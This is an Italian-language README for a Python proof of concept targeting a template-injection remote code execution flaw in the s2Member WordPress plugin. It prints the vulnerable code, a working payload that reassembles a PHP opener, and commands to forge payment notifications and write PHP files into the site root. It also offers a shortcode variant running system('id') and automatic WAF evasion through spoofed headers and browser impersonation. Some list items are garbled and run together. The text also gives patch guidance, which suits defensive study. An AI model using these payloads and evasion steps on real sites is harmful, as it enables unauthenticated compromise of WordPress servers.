
CVE-2026-86596 s2Member <= 260927 PoC di template-injection (lab; richiesta verifica IPN)
PoC Python in un singolo file per l'RCE da template-injection in s2Member <= 260927.
Il codice vulnerabile:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
Payload:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() lo lascia intatto perché non c'è un <? letterale.
La sostituzione di %%item_name%% lo inserisce; la pulizia finale %%(.+?)%%
rimuove %%x%%, lasciando un valido opener <?php.
python3 poc.py https://wordpress.lab
Questo è l'intero flusso:
cve_test.php con @thiscitze nella root di WordPress,https://wordpress.lab/cve_test.php e verifica il marker.Se l'ID del post/pagina protetto non è 1:
python3 poc.py https://wordpress.lab --item-number 123
Se .php è bloccato, scrivi un marcatore di testo semplice:
python3 poc.py https://wordpress.lab --filename cve_test.txt
Se il sito utilizza una chiave di verifica proxy:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
Rapporto conciso:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
Il report risponde a tre domande distinte:
RCE: NOT CONFIRMED significa che lo script non ha dimostrato l'esecuzione di codice, anche se
lo stato HTTP era 200.
Il colore è attivo quando stdout è un TTY; forzalo con --color always o disabilitalo
con --color never.
Se il target è protetto da un WAF/challenge, lo script prova automaticamente varianti nella forma della richiesta prima di arrendersi:
multipart/form-dataitem_name duplicato (benigno + payload)multipart/form-data con item_name duplicatoX-Forwarded-For / X-Real-IP / CF-Connecting-IPcurl_cffi (pip install curl_cffi)--http-proxyControlli opzionali:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion disabilita le varianti automatiche. Una JS challenge potrebbe comunque
richiedere una sessione browser reale o un IPN con origine PayPal; i trucchi sugli header non
sono un bypass garantito.
Scrivi un file di test nella root di WordPress e verificalo:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
Il payload scrive cve_test.php contenente:
<?php echo "@thiscitze"; ?>
Se .php è bloccato o non necessario, scrivi invece un marcatore di testo semplice:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
Il file viene scritto in ABSPATH (la radice del filesystem di WordPress). Se
WordPress è installato in una sottodirectory, regola --test-url di conseguenza.
python3 poc.py --simulate
Previsto:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
Variante shortcode:
python3 poc.py --simulate --shortcode --command "system('id');"
Questo produce [s2If php="system('id');"], che viene eseguito se il template
raggiunge un sink do_shortcode() / [s2If php].
python3 poc.py --check https://wordpress.lab
Legge readme.txt o s2member.php e confronta la versione con
260927 / 261001.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member verifica gli IPN con PayPal (POST back) o con una chiave di verifica proxy. Un POST contraffatto direttamente viene normalmente rifiutato. Per un laboratorio:
item_name sia il payload, oppurepython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
Lo script stampa la risposta HTTP e avvisa se il target ha rifiutato la verifica.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
Recupera una pagina e cerca CVE-2026-86596, che il payload restituisce.
Questo è utile quando il sink del codice di tracciamento / shortcode viene renderizzato dopo l'IPN.
custom deve iniziare con l'hostname del sito (oppure skip_ipn_domain_validation
deve essere abilitato).item_number valido per il percorso Specific Post/Page.do_shortcode() / [s2If php=...], oppure un'integrazione personalizzata che valuta
il template di notifica. Il corpo email predefinito in testo semplice viene inviato
tramite wp_mail, non valutato con eval.Aggiornare a s2Member 261001 o successivo (attuale: 261017). La correzione sostituisce
l'interpolazione sequenziale con fill_paypal_template_once() e sanifica
la destinazione di tracciamento in [A-Za-z0-9 @._-].
PR:N) indicano non autenticato. Trattarlo come remoto/non autenticato per
la priorità di patch, ma validare i requisiti IPN/proxy nella propria configurazione.